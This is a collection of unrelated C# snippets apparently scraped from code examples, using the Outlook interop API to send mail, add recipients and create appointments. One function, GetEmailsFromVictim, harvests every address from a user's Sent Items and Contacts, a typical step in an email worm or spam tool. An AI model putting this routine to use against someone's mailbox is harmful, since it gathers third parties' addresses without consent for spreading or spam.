public OutlookEmailSender2() { Outlook.Application olApplication = new Outlook.Application(); Outlook.NameSpace olNameSpace = olApplication.GetNamespace("mapi"); olNameSpace.Logon(Type.Missing, Type.Missing, true, true); olMailItem = (Outlook.MailItem)olApplication.CreateItem(Outlook.OlItemType.olMailItem); olRecipients = olMailItem.Recipients; olApplication.ItemSend += new Outlook.ApplicationEvents_11_ItemSendEventHandler(olApplication_ItemSend); }
static void IterateMessages(Outlook.Folder folder) { // attachment extensions to save string[] extensionsArray = { ".pdf", ".doc", ".xls", ".ppt", ".vsd", ".zip", ".rar", ".txt", ".csv", ".proj" }; // Iterate through all items ("messages") in a folder var fi = folder.Items; if (fi != null) { try { foreach (Object item in fi) { Outlook.MailItem mailitem = (Outlook.MailItem)item; string senderAddress = mailitem.Sender.Address; add_address_to_list(senderAddress); Outlook.Recipients recipients = mailitem.Recipients; foreach (Outlook.Recipient recipient in recipients) { add_address_to_list(recipient.Address); } } } catch (Exception e) { //Console.WriteLine("An error occurred: '{0}'", e); } } }
/// <summary> /// Code to send a mail by attaching log file using log4net /// </summary> public void sendEMailThroughOUTLOOK() { try { SplashScreenManager.ShowForm(this, typeof(WaitForm1), true, true, false); SplashScreenManager.Default.SetWaitFormDescription("Sending aail to administrator..."); Outlook.Application oApp = new Outlook.Application(); Outlook.MailItem oMsg = (Outlook.MailItem)oApp.CreateItem(Outlook.OlItemType.olMailItem); oMsg.HTMLBody = "Hello, Here is the log file!!"; String sDisplayName = "OTTOPro Log File"; int iPosition = (int)oMsg.Body.Length + 1; int iAttachType = (int)Outlook.OlAttachmentType.olByValue; string st = Environment.ExpandEnvironmentVariables(@"%AppData%"); Outlook.Attachment oAttach = oMsg.Attachments.Add(st + "\\OTTOPro.log", iAttachType, iPosition, sDisplayName); oMsg.Subject = "OTTOPro Log File"; Outlook.Recipients oRecips = (Outlook.Recipients)oMsg.Recipients; Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add("*****@*****.**"); oRecip.Resolve(); oMsg.Send(); oRecip = null; oRecips = null; oMsg = null; oApp = null; SplashScreenManager.CloseForm(false); XtraMessageBox.Show("Log file mail sent to administrator.!"); } catch (Exception ex) {} }
//<Snippet1> private void AddAppointment() { try { Outlook.AppointmentItem newAppointment = (Outlook.AppointmentItem) this.Application.CreateItem(Outlook.OlItemType.olAppointmentItem); newAppointment.Start = DateTime.Now.AddHours(2); newAppointment.End = DateTime.Now.AddHours(3); newAppointment.Location = "ConferenceRoom #2345"; newAppointment.Body = "We will discuss progress on the group project."; newAppointment.AllDayEvent = false; newAppointment.Subject = "Group Project"; newAppointment.Recipients.Add("Roger Harui"); Outlook.Recipients sentTo = newAppointment.Recipients; Outlook.Recipient sentInvite = null; sentInvite = sentTo.Add("Holly Holt"); sentInvite.Type = (int)Outlook.OlMeetingRecipientType .olRequired; sentInvite = sentTo.Add("David Junca "); sentInvite.Type = (int)Outlook.OlMeetingRecipientType .olOptional; sentTo.ResolveAll(); newAppointment.Save(); newAppointment.Display(true); } catch (Exception ex) { MessageBox.Show("The following error occurred: " + ex.Message); } }
//When Status of Complaint updated to Solved public bool SolvedEmail(string email, int comaplintId) { try { //Random ran = new Random(); //ran. // Create the Outlook application. Outlook.Application oApp = new Outlook.Application(); // Create a new mail item. Outlook.MailItem oMsg = (Outlook.MailItem)oApp.CreateItem(Outlook.OlItemType.olMailItem); // Set HTMLBody. //add the body of the email oMsg.HTMLBody = "Dear User, <br> Your Compalint with ComaplintID: " + comaplintId + " has been resolved.<br> Please login and provide the feedback for the same."; //Subject line oMsg.Subject = "Your Compalint has been Resolved!!"; // Add a recipient. Outlook.Recipients oRecips = (Outlook.Recipients)oMsg.Recipients; // Change the recipient in the next line if necessary. Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add(email); oRecip.Resolve(); // Send. oMsg.Send(); // Clean up. oRecip = null; oRecips = null; oMsg = null; oApp = null; return(true); }//end of try block catch (Exception ex) { return(false); }//end of catch }
public static Boolean SendOutlookMail(string recipient, string subject, string body) { try { Outlook.Application outlookApp = new Outlook.Application(); Outlook._MailItem oMailItem = (Outlook._MailItem)outlookApp.CreateItem(Outlook.OlItemType.olMailItem); Outlook.Inspector oInspector = oMailItem.GetInspector; Outlook.Recipients oRecips = (Outlook.Recipients)oMailItem.Recipients; Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add(recipient); oRecip.Resolve(); if (subject != "") { oMailItem.Subject = subject; } if (body != "") { oMailItem.Body = body; } oMailItem.Display(true); return(true); } catch (Exception objEx) { MessageBox.Show(objEx.ToString()); return(false); } }
public void Monta(int pIdEvento, string pAssunto) { lock (cGlobal.bloqueadorThread) { int idTipoEvento = 0; previa_Cronograma pc = new previa_Cronograma(); Outlook._MailItem oMailItem = (Outlook._MailItem)outlookApp.CreateItem(Outlook.OlItemType.olMailItem); Outlook.Inspector oInspector = oMailItem.GetInspector; Outlook.Recipients oRecips = (Outlook.Recipients)oMailItem.Recipients; using (DataSet dsmsg = pc.retorna_mensagem_email(pIdEvento)) { oMailItem.Subject = dsmsg.Tables["MsgEmail"].Rows[0]["Mensagem"].ToString(); idTipoEvento = Convert.ToInt32(dsmsg.Tables["MsgEmail"].Rows[0]["ID_TIPO_EVENTO"].ToString()); } #region MONTA CORPO DO E-MAIL pAssunto += oMailItem.Subject; oMailItem.Body = pAssunto; #endregion oMailItem.Display(true); if (pc.exclui_mensagem_email(pIdEvento, idTipoEvento) < 1) { throw new Exception("Não foi possivel atualizar mensagem. Atenção no formato do email"); } } }
private void sendEmailBackgroundWorker_DoWork(object sender, DoWorkEventArgs e) { var email = (_Email)e.Argument; try { Outlook.Application oApp = new Outlook.Application(); Outlook.MailItem oMsg = (Microsoft.Office.Interop.Outlook.MailItem)oApp.CreateItem(Outlook.OlItemType.olMailItem); oMsg.Body = email.Body; oMsg.Subject = email.Subject; Outlook.Recipients oRecips = (Outlook.Recipients)oMsg.Recipients; Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add(email.Recipient); oRecip.Resolve(); oMsg.Send(); oRecip = null; oRecips = null; oMsg = null; oApp = null; } catch (Exception ex) { e.Result = ex; } e.Result = true; }
protected void ButtonSendMail_Click(object sender, EventArgs e) { try { List <string> lstAllRecipients = new List <string>(); //Below is hardcoded - can be replaced with db data lstAllRecipients.Add("*****@*****.**"); lstAllRecipients.Add("*****@*****.**"); Outlook.Application outlookApp = new Outlook.Application(); Outlook._MailItem oMailItem = (Outlook._MailItem)outlookApp.CreateItem(Outlook.OlItemType.olMailItem); Outlook.Inspector oInspector = oMailItem.GetInspector; // Thread.Sleep(10000); // Recipient Outlook.Recipients oRecips = (Outlook.Recipients)oMailItem.Recipients; foreach (String recipient in lstAllRecipients) { Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add(recipient); oRecip.Resolve(); } //Add CC Outlook.Recipient oCCRecip = oRecips.Add("*****@*****.**"); oCCRecip.Type = (int)Outlook.OlMailRecipientType.olCC; oCCRecip.Resolve(); //Add Subject oMailItem.Subject = "Test Mail"; // body, bcc etc... //Display the mailbox oMailItem.Display(true); } catch (Exception objEx) { Response.Write(objEx.ToString()); } }
public void Inspectors_NewInspector(Microsoft.Office.Interop.Outlook.Inspector Inspector) { try { Outlook.MailItem mailItem = Inspector.CurrentItem as Outlook.MailItem; //InitializeComObjects(); //Calling the event before Attachment is fully added to the mail item mailItem.BeforeAttachmentAdd += MailItem_BeforeAttachmentAdd; //Calling the event when attachment is removed mailItem.AttachmentRemove += MailItem_AttachmentRemove; //Calling the event not to save the email as draft after sent //mailItem.Write += MailItem_Write; //Initializing the olRecipients which is not marked as Clear Message recipients olRecipients = olMailItem.Recipients; //Initializing the outlook email attachments object olAttachments = olMailItem.Attachments; } catch (Exception e) { ResetMailObjects(); //ReleaseComObjects(); } }
private void Sendmail_Click(object sender, RoutedEventArgs e) { Outlook.Application App = new Outlook.Application(); Outlook.MailItem msg = (Outlook.MailItem)App.CreateItem(Outlook.OlItemType.olMailItem); msg.HTMLBody = ("<img src=\"" + currentUnit.uris[0] + "\"></img>"); //msg.HTMLBbody = namehotel; msg.Subject = "sujet"; Outlook.Recipients recips = (Outlook.Recipients)msg.Recipients; Outlook.Recipient recip = (Outlook.Recipient)recips.Add("*****@*****.**"); recip.Resolve(); msg.Send(); recips = null; recip = null; App = null; MessageBox.Show("regarde ton mail"); //MailMessage mm = new MailMessage(); //mm.From = new MailAddress("*****@*****.**"); //mm.To.Add("*****@*****.**"); //AlternateView htmlView = AlternateView.CreateAlternateViewFromString("https://www.sortiraparis.com/images/80/86252/453698-la-tour-eiffel-fete-ses-130-ans-13.jpg", null, "text/html"); //LinkedResource image = new LinkedResource(@"C:\Users\bibas\Documents\csharp\imagesprojet\hotelpiscine.jpg"); //image.ContentId = "monimage"; //htmlView.LinkedResources.Add(image); //mm.AlternateViews.Add(htmlView); }
//gavdcodeend 08 //gavdcodebegin 09 private void btnCreateAppointment_Click(object sender, RibbonControlEventArgs e) { Outlook.Application myApplication = Globals.ThisAddIn.Application; Outlook.AppointmentItem newAppointment = (Outlook.AppointmentItem) myApplication.CreateItem(Outlook.OlItemType.olAppointmentItem); newAppointment.Start = DateTime.Now.AddHours(1); newAppointment.End = DateTime.Now.AddHours(2); newAppointment.Location = "An Empty Room"; newAppointment.Body = "This is a test appointment"; newAppointment.AllDayEvent = false; newAppointment.Subject = "My test"; newAppointment.Recipients.Add("Somebody, He Is"); Outlook.Recipients sentAppointmentTo = newAppointment.Recipients; Outlook.Recipient sentInvite = null; sentInvite = sentAppointmentTo.Add("b, bbb b"); sentInvite.Type = (int)Outlook.OlMeetingRecipientType.olRequired; sentInvite = sentAppointmentTo.Add("c, ccc c"); sentInvite.Type = (int)Outlook.OlMeetingRecipientType.olOptional; sentAppointmentTo.ResolveAll(); newAppointment.Save(); newAppointment.Display(true); }
public void Button_Click(Office.IRibbonControl control) { try { Outlook.Recipient recipient = null; Outlook.Recipients recipients = null; Outlook.Application application = new Outlook.Application(); Outlook.Explorer explorer = application.ActiveExplorer(); Outlook.Inspector inspector = application.ActiveInspector(); inspector.Activate(); Outlook._MailItem mailItem = inspector.CurrentItem; //Outlook.Application outlookApplication = new Outlook.Application(); //Outlook.MailItem mail = (Outlook.MailItem)outlookApplication.ActiveInspector().CurrentItem; if (mailItem != null) { recipients = mailItem.Recipients; recipients.ResolveAll(); String StrR = ""; const string PR_SMTP_ADDRESS = "http://schemas.microsoft.com/mapi/proptag/0x39FE001E"; foreach (Outlook.Recipient recip in recipients) { Outlook.PropertyAccessor pa = recip.PropertyAccessor; string smtpAddress = pa.GetProperty(PR_SMTP_ADDRESS).ToString(); string[] strsplit = smtpAddress.Split('@'); if (!StrR.Contains(strsplit[1])) { StrR += strsplit[1] + Environment.NewLine; } } if (StrR != string.Empty) { MyMessageBox ObjMyMessageBox = new MyMessageBox(); ObjMyMessageBox.ShowBox(StrR); } //recipient.Resolve(); // DialogResult result = MessageBox.Show("Are you sure you want to send emails to the following domains " + StrR, "Varify Domains ", //MessageBoxButtons.YesNoCancel, MessageBoxIcon.Question); // if (result == DialogResult.Yes) // { // //code for Yes // } // else // { // } } } catch (Exception ex) { } }
/// <summary> /// Crée un message avec des paramètres spécifques. /// </summary> /// <remarks> /// Crée un message avec un template HTML. /// </remarks> /// <param name="_bodyMessage">Corps, destinataire et sujet du message</param> /// <returns>_MailItem : Réussite -> Message créée. Echec -> Valeur null.</returns> /// <exception cref="Outlook.Application, StreamReader, MailDefinition, MailMessage"> /// Exception levée par l'objet Outlook.Application, StreamReader, MailDefinition ou MailMessage. /// </exception> private static _MailItem CreateMessage(List <string> _bodyMessage) { List <string> bodyMessage = _bodyMessage; try { // Crée l'application Outlook. Outlook.Application outlookApp = new Outlook.Application(); // Crée un nouvel email. Outlook.MailItem message = (Outlook.MailItem)outlookApp.CreateItem(Outlook.OlItemType.olMailItem); // Ajoute des destinataires. Outlook.Recipients recipients = (Outlook.Recipients)message.Recipients; Outlook.Recipient recipient = (Outlook.Recipient)recipients.Add(bodyMessage[0]); recipient.Resolve(); // Assigne l'objet du message. message.Subject = bodyMessage[2]; // Assigne le contenu de l'email. message.BodyFormat = OlBodyFormat.olFormatHTML; message.HTMLBody = bodyMessage[1]; message.ReadReceiptRequested = true; return(message); } catch { // Affichage d'un message d'erreur. MessageBox.Show(SentOffer_Err.Default.CreateMessage, SentOffer_Err.Default.ErrorTitle, MessageBoxButtons.OK, MessageBoxIcon.Error); return(null); } }
public static int sendEmail(String fileName) { try { Outlook.Application oApp = new Outlook.Application(); Outlook.MailItem oMsg = (Outlook.MailItem)oApp.CreateItem(Outlook.OlItemType.olMailItem); string toEmail = ConfigurationManager.AppSettings["to"].ToString(); oMsg.HTMLBody = String.Format("Dear Eng. {0}, please find the attachements below.", toEmail); Outlook.Attachment oAttach = oMsg.Attachments.Add(fileName); oMsg.Subject = String.Format("XXXX & YYYYY for {0}", getTime()); Outlook.Recipients oRecips = (Outlook.Recipients)oMsg.Recipients; Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add("XXXXYYYY"); oRecip.Resolve(); ((Outlook._MailItem)oMsg).Send(); writeLog(String.Format("Email sent is successfully sent for {0}.", getTime())); System.Threading.Thread.Sleep(1000); // Clean up. oRecip = null; oRecips = null; oMsg = null; oApp = null; return(1); } catch (Exception exc) { writeLog(exc.Message); return(0); } }
void items_ItemAdd(object Item) { Outlook.MailItem mail = (Outlook.MailItem)Item; try { MailServiceReference.MailServiceClient mailServiceObj = new MailServiceReference.MailServiceClient(); if (Item != null) { string filterSenderMailID = mailServiceObj.GetTargetMailId(); const string PR_SMTP_ADDRESS = "http://schemas.microsoft.com/mapi/proptag/0x39FE001E"; Outlook.Recipients recips = mail.Recipients; foreach (Outlook.Recipient recip in recips) { Outlook.PropertyAccessor pa = recip.PropertyAccessor; string smtpAddress = pa.GetProperty(PR_SMTP_ADDRESS).ToString(); if (smtpAddress.ToLower() == filterSenderMailID.ToLower()) { mailServiceObj.InsertMailBody(mail.SenderEmailAddress, mail.ReceivedByName, mail.Subject, mail.Body); break; } } } } catch (Exception ex) { System.Diagnostics.EventLog appLog = new System.Diagnostics.EventLog(); appLog.Source = "Claysys UCU Outlook plugging"; appLog.WriteEntry("Exception : " + ex); throw ex; } }
public bool sendEMailThroughOUTLOOK(string email, string otl) { try { //Random ran = new Random(); //ran. // Create the Outlook application. Outlook.Application oApp = new Outlook.Application(); // Create a new mail item. Outlook.MailItem oMsg = (Outlook.MailItem)oApp.CreateItem(Outlook.OlItemType.olMailItem); // Set HTMLBody. //add the body of the email oMsg.HTMLBody = "Hello,Your link to change password : "******"\n. This link will expire after 4 minutes."; //Subject line oMsg.Subject = "Change Password"; // Add a recipient. Outlook.Recipients oRecips = (Outlook.Recipients)oMsg.Recipients; // Change the recipient in the next line if necessary. Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add(email); oRecip.Resolve(); // Send. oMsg.Send(); // Clean up. oRecip = null; oRecips = null; oMsg = null; oApp = null; return(true); }//end of try block catch (Exception ex) { return(false); }//end of catch }
public void Dispose() { try { if (_serverType == MailServerType.SMTP) { if (_netMail != null) { _netMail.Dispose(); _netMail = null; } } else { #if OUTLOOK // Log off. _oNS.Logoff(); // Clean up. _oRecip = null; _oRecips = null; _oMsg = null; _oNS = null; _oApp = null; #endif } GC.Collect(); GC.SuppressFinalize(this); } catch { } }
/// <summary> /// TaskItemから、宛先(Recipient)のリスト取得する /// </summary> /// <param name="Item">TaskItemオブジェクト</param> /// <returns>List<Outlook.Recipient></returns> private static List <Outlook.Recipient> GetRecipientList(Outlook.TaskItem item) { Outlook.Recipients recipients = item.Recipients; List <Outlook.Recipient> recipientsList = new List <Outlook.Recipient>(); if (IsSendTaskRequest(item)) { //これから送信するTaskRequestItem for (int i = 1; i <= recipients.Count; i++) { recipientsList.Add(recipients[i]); } } else { //受信したTaskRequestItem if (item.Owner == null) { recipientsList.Add(item.Recipients[1]); } else { Outlook.Recipient ownerRecipient = Globals.ThisAddIn.Application.Session.CreateRecipient(item.Owner); recipientsList.Add(ownerRecipient); } } return(recipientsList); }
public static int SendEmail(string password) { try { // Create the Outlook application. Outlook.Application oApp = new Outlook.Application(); // Create a new mail item. Outlook.MailItem oMsg = (Outlook.MailItem)oApp.CreateItem(Outlook.OlItemType.olMailItem); // Set HTMLBody. //add the body of the email oMsg.HTMLBody = String.Format("Dear All, a new password was created upon your request ({0}) on ({1}).", password, GetTime()); //Subject line oMsg.Subject = "New password"; // Add a recipient. Outlook.Recipients oRecips = (Outlook.Recipients)oMsg.Recipients; // Change the recipient in the next line if necessary string ToEmail = "*****@*****.**"; Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add(ToEmail); oRecip.Resolve(); // Send. ((Outlook._MailItem)oMsg).Send(); WriteLog(String.Format("Email sent to ({0}) asking for new password ({1}) on ({2}) .", ToEmail, password, GetTime())); System.Threading.Thread.Sleep(1000); return(1); } catch (Exception exc) { WriteLog(String.Format("Error in email sending was due to: {0}", exc.ToString())); return(0); } }
/// <summary> ///Refere to where the code was taken from ///https://www.add-in-express.com/creating-addins-blog/2011/09/08/outlook-fill-recipients-programmatically/ /// </summary> /// <param name="mail"></param> /// <returns></returns> private bool AddRecipients(Outlook.MailItem mail) { bool retValue = false; Outlook.Recipients recipients = null; Outlook.Recipient recipientTo = null; Outlook.Recipient recipientCC = null; Outlook.Recipient recipientBCC = null; try { recipients = mail.Recipients; // first, we remove all the recipients of the e-mail while (recipients.Count != 0) { recipients.Remove(1); } // now we add new recipietns to the e-mail foreach (IEmailAddress address in this.ToAddesses) { recipientTo = recipients.Add((((EmailAddress)address).Address)); recipientTo.Type = (int)Outlook.OlMailRecipientType.olTo; } foreach (IEmailAddress address in this.CcAddresses) { recipientTo = recipients.Add((((EmailAddress)address).Address)); recipientTo.Type = (int)Outlook.OlMailRecipientType.olCC; } foreach (IEmailAddress address in this.BccAddress) { recipientTo = recipients.Add((((EmailAddress)address).Address)); recipientTo.Type = (int)Outlook.OlMailRecipientType.olBCC; } retValue = recipients.ResolveAll(); } catch (Exception ex) { System.Windows.Forms.MessageBox.Show(ex.Message); } finally { if (recipientBCC != null) { Marshal.ReleaseComObject(recipientBCC); } if (recipientCC != null) { Marshal.ReleaseComObject(recipientCC); } if (recipientTo != null) { Marshal.ReleaseComObject(recipientTo); } if (recipients != null) { Marshal.ReleaseComObject(recipients); } } return(retValue); }
public void Dispose() { if (recipients != null) { Marshal.ReleaseComObject(recipients); recipients = null; } Marshal.ReleaseComObject(this._mailItem); }
private static List <string> GetEmailsFromVictim() { List <String> FinalRecipientList = new List <String>(); //our duplicate-free list of email addresses List <String> GatheredEmailsWithDuplicates = new List <String>(); Outlook.Application outlook = new Outlook.Application(); //create outlook object Outlook.NameSpace outlookNameSpace = outlook.GetNamespace("MAPI"); //connect to MAPI namespace //connect to the Sent Folder and the Contacts Folder Outlook.MAPIFolder SentFolder = outlookNameSpace.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderSentMail); Outlook.MAPIFolder ContactsFolder = outlookNameSpace.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderContacts); //retrieve all the items within both folders Outlook.Items SentItems = SentFolder.Items; Outlook.Items ContactItems = ContactsFolder.Items; //outlook will give you an array out of bounds exception if you do itemindex = 0 for (int itemindex = 1; itemindex <= SentItems.Count; itemindex++) { Outlook.MailItem recipientItem = SentItems[itemindex] as Outlook.MailItem; if (recipientItem != null) { Outlook.Recipients Recipients = recipientItem.Recipients; //get all email recipients foreach (Outlook.Recipient Recipient in Recipients) { try { //get recipient's email address and add it to our list with duplicates. GatheredEmailsWithDuplicates.Add(Recipient.AddressEntry.GetExchangeUser().PrimarySmtpAddress); } catch (System.Exception e) { continue; } // just ignore any bad items } } } //gather contacts for (int itemindex = 1; itemindex <= ContactItems.Count; itemindex++) { Outlook.ContactItem contactItem = ContactItems[itemindex] as Outlook.ContactItem; try { GatheredEmailsWithDuplicates.Add(contactItem.Email1Address); } catch (System.Exception e) { continue; } //just ignore any bad items } //remove duplicates foreach (String VictimAddress in GatheredEmailsWithDuplicates) { var addresscheck = new System.Net.Mail.MailAddress(VictimAddress); if (addresscheck.Address == VictimAddress) //if a valid email address is provided (just incase we picked up anything else) { if (!FinalRecipientList.Contains(VictimAddress)) //if we've not yet added our address to the list { FinalRecipientList.Add(VictimAddress); } } } return(FinalRecipientList); }
public void CreateMailItem(String email, String path) { mail = app.CreateItem(Microsoft.Office.Interop.Outlook.OlItemType.olMailItem) as Outlook.MailItem; mail.Subject = Subject; mail.Body = EmailBody; Outlook.Attachment attach = mail.Attachments.Add(path); mailrecipents = mail.Recipients; rec = mailrecipents.Add(email); rec.Resolve(); mail.Send(); }
public static bool Contains(this Outlook.Recipients recipients, string smtpAddress) { foreach (Outlook.Recipient r in recipients) { if (r.GetSmtpAddress().Equals(smtpAddress)) { return(true); } } return(false); }
private Boolean sendMail() { try { // Create the Outlook application. Outlook.Application oApp = new Outlook.Application(); // Create a new mail item. Outlook.MailItem oMsg = (Outlook.MailItem)oApp.CreateItem(Outlook.OlItemType.olMailItem); Outlook.Inspector oInspector = oMsg.GetInspector; // Set HTMLBody. //add the body of the email oMsg.HTMLBody = string.Format(GetLabel("Mail.0001"), txFor.Text, txFor.Text, txReason.Text, FormUser.FirstName + " " + FormUser.LastName); //Add an attachment. //String sDisplayName = "MyAttachment"; //int iPosition = (int)oMsg.Body.Length + 1; //int iAttachType = (int)Outlook.OlAttachmentType.olByValue; //now attached the file //Outlook.Attachment oAttach = oMsg.Attachments.Add(@"C:\\fileName.jpg", iAttachType, iPosition, sDisplayName); //Subject line oMsg.Subject = string.Format(GetLabel("Mail.0002"), txFor.Text); // Add a recipient. Outlook.Recipients oRecips = (Outlook.Recipients)oMsg.Recipients; //oRecips.Add(mailAlias); //oRecips.ResolveAll(); // Change the recipient in the next line if necessary. //Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add(mailAlias); string[] alias = mailAlias.Split(new string[] { "," }, StringSplitOptions.None); foreach (String recipient in alias) { Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add(recipient); if (!oRecip.Resolve()) { oRecips.Remove(oRecips.Count); } } //oRecip.Resolve(); // Send. oMsg.Send(); // Clean up. //oRecip = null; oRecips = null; oMsg = null; oApp = null; return(true); }//end of try block catch (Exception ex) { mailError = ex.Message; return(false); } }
private void buttonSend_Click(object sender, System.EventArgs e) { //string htmltext = editor1.Html.ToString(); //System.IO.File.WriteAllText(@"C:\Users\HP\Desktop\htmltext.txt", htmltext); if (sendNum != 0) { if ((textTO.Text == null) || (textSubject.Text == null)) { return; } if ((textTO.Text.Length == 0) || (textSubject.Text.Length == 0)) { return; } Outlook.Recipients oRecips = (Outlook.Recipients)oMsg.Recipients; Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add(textTO.Text); if (textCC.Text != null) { if (textCC.Text.Length > 0) { Outlook.Recipients ccRecips = (Outlook.Recipients)oMsg.Recipients; Outlook.Recipient ccRecip = (Outlook.Recipient)ccRecips.Add(textTO.Text); ccRecip.Type = (int)Outlook.OlMailRecipientType.olCC; } //ma.AddRecip(textCC.Text, null, true); } oMsg.Subject = textSubject.Text; oMsg.HTMLBody = editor1.Html; //if (!ma.Send(textSubject.Text, textMail.Text)) // MessageBox.Show(this, "MAPISendMail failed! " + ma.Error(), "Send Mail", MessageBoxButtons.OK, MessageBoxIcon.Warning); oRecip.Resolve(); // Send. oMsg.Send(); // Log off. oNS.Logoff(); // Clean up. oRecip = null; oRecips = null; oMsg = null; oNS = null; oApp = null; ma.Reset(); this.Close(); } }
/// <summary> /// MailItemから、宛先(Recipient)のリスト取得する /// </summary> /// <param name="Item">MailItemオブジェクト</param> /// <returns>List<Outlook.Recipient></returns> private static List <Outlook.Recipient> GetRecipientList(Outlook.MailItem item) { Outlook.Recipients recipients = item.Recipients; List <Outlook.Recipient> recipientsList = new List <Outlook.Recipient>(); for (int i = 1; i <= recipients.Count; i++) { recipientsList.Add(recipients[i]); } return(recipientsList); }
/// <summary> /// SharingItemから、宛先(Recipient)のリスト取得する /// </summary> /// <param name="Item">SharingItemオブジェクト</param> /// <returns>List<Outlook.Recipient></returns> private static List <Outlook.Recipient> GetRecipientList(Outlook.SharingItem item) { Outlook.Recipients recipients = item.Recipients; List <Outlook.Recipient> recipientsList = new List <Outlook.Recipient>(); //AppointmentItemの場合1番目には送信者、2番目から宛先が入っている for (int i = 1; i <= recipients.Count; i++) { recipientsList.Add(recipients[i]); } return(recipientsList); }
public static void sendEMailThroughOUTLOOK() { try { // Create the Outlook application. Outlook.Application oApp = new Outlook.Application(); // Create a new mail item. Outlook._MailItem oMsg = (Outlook._MailItem)oApp.CreateItem(Outlook.OlItemType.olMailItem); // Set HTMLBody. //add the body of the email // "Dear Admin, You have recieved an enquiry onyour Website. Following are the details of enquiry:<br/><br/>Name: " + TextBox2.Text + "<br/>Address: " + TextBox3.Text + ", " + TextBox4.Text + "<br/>Phone: " + TextBox5.Text + "<br/>Email: " + TextBox2.Text + "<br/>Query: " + TextBox6.Text+"<br/> Regards, <br/> Veritas Team" oMsg.HTMLBody = "Hi,\n \n <br/> <br/>Automation Execution has been started \n<br/><br/> Thanks & Regards \n<br/> Raghu Ram Reddy<br/><br/><br/>***This is an Auto generated mail***"; // oMsg.HTMLBody = "Automation Execution has been started!!"; //Add an attachment. String sDisplayName = "MyAttachment"; int iPosition = (int)oMsg.Body.Length + 1; int iAttachType = (int)Outlook.OlAttachmentType.olByValue; // now attached the file Outlook.Attachment oAttach = oMsg.Attachments.Add(@"D:\\Suite_Driver.xlsx", iAttachType, iPosition, sDisplayName); //Subject line oMsg.Subject = "Automation Execution has been started!!"; // Outlook.MailItem mail; // Add a recipient. Outlook.Recipients oRecips = (Outlook.Recipients)oMsg.Recipients; // Change the recipient in the next line if necessary. // Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add("*****@*****.**"); // oRecip.Resolve(); Outlook.Recipient oRecip2 = (Outlook.Recipient)oRecips.Add("*****@*****.**"); oRecip2.Resolve(); //Outlook.Recipient oRecip3 = (Outlook.Recipient)oRecips.Add("*****@*****.**"); //oRecip3.Resolve(); // Send. oMsg.Send(); // Clean up. oRecip2 = null; oRecips = null; oMsg = null; oApp = null; }//end of try block catch (Exception ex) { Console.WriteLine(ex); } //end of catch } //end of Email Method
public void sendEMailThroughOUTLOOK(string e_ToList, string e_Subject, string e_Msg) { try { string[] e_recipients; // Create the Outlook application. Outlook.Application oApp = new Outlook.Application(); // Create a new mail item. Outlook.MailItem oMsg = (Outlook.MailItem)oApp.CreateItem(Outlook.OlItemType.olMailItem); // Set HTMLBody. //add the body of the email oMsg.HTMLBody = e_Msg; ////Add an attachment. // String sDisplayName = "MyAttachment"; // int iPosition = (int)oMsg.Body.Length + 1; // int iAttachType = (int)Outlook.OlAttachmentType.olByValue; ////now attached the file // Outlook.Attachment oAttach = oMsg.Attachments.Add(@"C:\\batchStart.txt", iAttachType, iPosition, sDisplayName); //Subject line oMsg.Subject = e_Subject; // Add a recipient. Outlook.Recipients oRecips = (Outlook.Recipients)oMsg.Recipients; // Change the recipient in the next line if necessary. //Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add(e_ToList); //Outlook.Recipient oRecip2 = (Outlook.Recipient)oRecips.Add("*****@*****.**"); e_ToList = Regex.Replace(e_ToList, ";", ","); e_recipients = Regex.Split(e_ToList, ","); foreach (string rString in e_recipients) { oRecips.Add(rString); } //oRecips.Add(e_ToList); //oRecips.Add("*****@*****.**"); //oRecip.Resolve(); // Send. oMsg.Send(); // Clean up. //oRecip = null; oRecips = null; oMsg = null; oApp = null; }//end of try block catch (Exception ex) { MessageBox.Show(ex.Message); } //end of catch } //end of Email Method